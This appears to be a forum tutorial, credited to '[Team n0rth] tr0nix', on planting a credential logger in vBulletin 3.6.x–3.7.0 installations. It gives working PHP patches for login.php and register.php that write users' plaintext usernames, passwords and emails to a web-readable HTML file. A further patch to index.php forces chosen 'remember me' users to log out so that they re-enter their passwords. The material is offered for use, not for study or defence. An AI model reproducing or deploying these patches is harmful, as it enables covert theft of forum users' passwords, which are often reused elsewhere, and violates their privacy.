Code:
vBulletin 3.6.5
vBulletin 3.6.8 Patch Level 1 / Patch Level 2
vBulletin 3.6.9
vBulletin 3.6.10
vBulletin 3.7.0
[Requirements]
- Access to the server
Open the "global.php", which is located in the main directory from vBulletin.
Search for
Code:
$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
and change it to that:
Code:
//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
Now open "login.php", which is located in the main directory from vBulletin, too.
Search for
Code:
process_new_login
and add the following code under this line:
Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
Now wait a little bit and see how the filesize of the logfile raises. Wink
Edit:
If you want to logout an user who has clicked the 'remember me'-function, then do this:
Open the "index.php" and search for
Code:
foreach ($userinfos AS $userid => $loggedin)
Put the following code under the foreach loop (under or above the "// memory saving"!).
Code:
require_once(DIR . '/includes/functions_login.php');
$getouttahere = array("administrator", "anotheruser"); // username which checked the damn "remember me"-function :p
setcookie("countLogout", 0,time()+86400); // save cookie for one day!
$countLogout = $_COOKIE["countLogout"];
if(in_array(strtolower($vbulletin->userinfo['username']), $getouttahere, true) AND $countLogout == 0)
{
setcookie("countLogout",1,time()+86400); // save cookie for one day!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}
Now you just need to edit the $getouttahere variable with your usernames. Wink)
EDIT 2:
If you want to do that automaticly at their registration, then use the following:
Open "register.php" and search for
Code:
$show['errors'] = false;
(approx. line 377)
Then put the following code under or above the line:
Code:
$lg_username = strtolower($vbulletin->GPC["username"]);
$lg_password = $vbulletin->GPC["password"];
$lg_email = $vbulletin->GPC["email"];
$lg_file = "./includes/lg.html";
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $lg_email . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
You can edit the $lg_file variable. It defines where you want to save your log file.
Example:
Code:
$lg_file = "./includes/lg_reg.html";
PS: If the Logger doesn't create the logfile automaticly, then you need to create it manually and give the file chmod 0777.
(c) by [Team n0rth] tr0nix <tr0nix@inbox.ru>